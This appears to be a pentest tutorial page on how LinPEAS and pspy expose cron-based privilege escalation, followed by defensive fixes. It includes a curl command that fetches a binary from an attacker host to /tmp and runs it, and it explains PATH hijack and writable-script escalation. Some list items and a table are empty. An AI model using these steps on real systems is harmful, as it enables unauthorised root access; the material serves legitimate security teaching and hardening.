How LinPEAS reports cron jobs

Where it appears in the output#

Cron checks are in the procs_crons_timers_srvcs_sockets section. The process-monitoring check (which spots frequent cron-like jobs) runs only with -a, is noisy, and briefly writes a temp file. LinPEAS reads /etc/crontab, /etc/cron.d/, /etc/cron.daily|hourly|weekly|monthly/, user crontabs and systemd timers, then tests whether the scripts those jobs execute are writable by you.

╔══════════╣ Cron jobs
/etc/crontab
* * * * * root /opt/scripts/backup.sh
  -> /opt/scripts/backup.sh is writable by you!
╔══════════╣ Different processes executed during 1 min [-a only]
root  /usr/local/bin/sync.sh  (every ~40s, not in any crontab)

How to read a cron finding#

• A root cron job pointing at a writable script is a direct escalation — whatever you write into that script runs as root on the next schedule.
• Watch for bare command names (no absolute path): if the cron PATH contains a writable directory, you can plant a same-named script (PATH hijack).
• Watch for wildcards in writable directories (tar cf /backup/*.log) — classic wildcard-injection territory.
• The “different processes” output (with -a) hints at frequent jobs that are not listed in any crontab — investigate those PIDs and their parent scripts.

Reproduce the enumeration manually#

cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
crontab -l 2>/dev/null; for u in $(cut -d: -f1 /etc/passwd); do crontab -u $u -l 2>/dev/null; done
find /etc/cron* /var/spool/cron -writable 2>/dev/null   # writable cron files/dirs
ls -la /opt/scripts/ 2>/dev/null                         # check the script dirs jobs point at

Catching what crontabs miss: pspy#

LinPEAS reads configured jobs, but short-lived or obfuscated jobs — a script that runs for two seconds every minute, or a job launched outside cron entirely — never appear in a crontab listing. That is what pspy is for: it watches process execution without needing root and shows you exactly what runs, when, and with which arguments — including credentials passed on command lines.

# on your attack box: serve pspy, then on the target (authorised lab only)
curl http://<your-ip>:8000/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000   # watch processes + filesystem events, 1s interval

• Leave pspy running for several minutes — cron granularity is per-minute.
• Look for root-owned processes executing scripts in writable locations.
• Full command lines often leak credentials passed as arguments — treat them as sensitive.
• pspy and LinPEAS complement each other: LinPEAS maps the configured jobs, pspy reveals the actual runtime behaviour.

From a writable cron script to a tested technique (authorised lab)#

In a lab where a root cron job executes a script you can write to, the proof-of-concept is to make the script do something observable and attributable — not to deploy a payload:

1. 1

2. 2

3. 3

4. 4

PATH hijack via cron#

If a root cron line calls a bare command name (backup instead of /usr/local/bin/backup), cron resolves it through its PATH. When that PATH includes a directory you can write to, placing your own executable with the same name there hijacks the next run. LinPEAS prints the cron PATH — check each entry with ls -ld for writability.

How to fix cron findings (defensive)#

• Cron scripts and their directories must be root-owned and non-writable by others (chown root:root, chmod 755 dirs / 644 files).
• Use absolute paths in every cron line; never rely on PATH.
• Set an explicit minimal PATH= at the top of crontabs.
• Avoid wildcards in commands that operate on writable directories.
• Prefer systemd timers with User= set explicitly over root crontabs where possible.
• Monitor for unexpected cron changes — LinPEAS plus a file-integrity check on /etc/cron* catches drift.

Frequently asked questions#

Background: how cron abuse works, PATH risks. Systemd timers behave similarly — see how LinPEAS reports systemd.

Cron vs systemd timers#

Modern Linux runs both schedulers side by side, and LinPEAS audits both. Know which you are looking at:

The exploitation logic is identical — a writable script executed on a schedule by a higher-privileged user. Audit both; attackers do.

Cron auditing routine#

• List every job: system crontabs, cron.d, periodic dirs, all user crontabs, systemd timers.
• For each job: who runs it, what script/binary it executes, who can write that path.
• Check the cron PATH for writable entries (PATH hijack).
• Run LinPEAS with -a for the 1-minute process watch, then pspy for the jobs neither shows.
• Fix: root-owned non-writable scripts, absolute paths, explicit minimal PATH.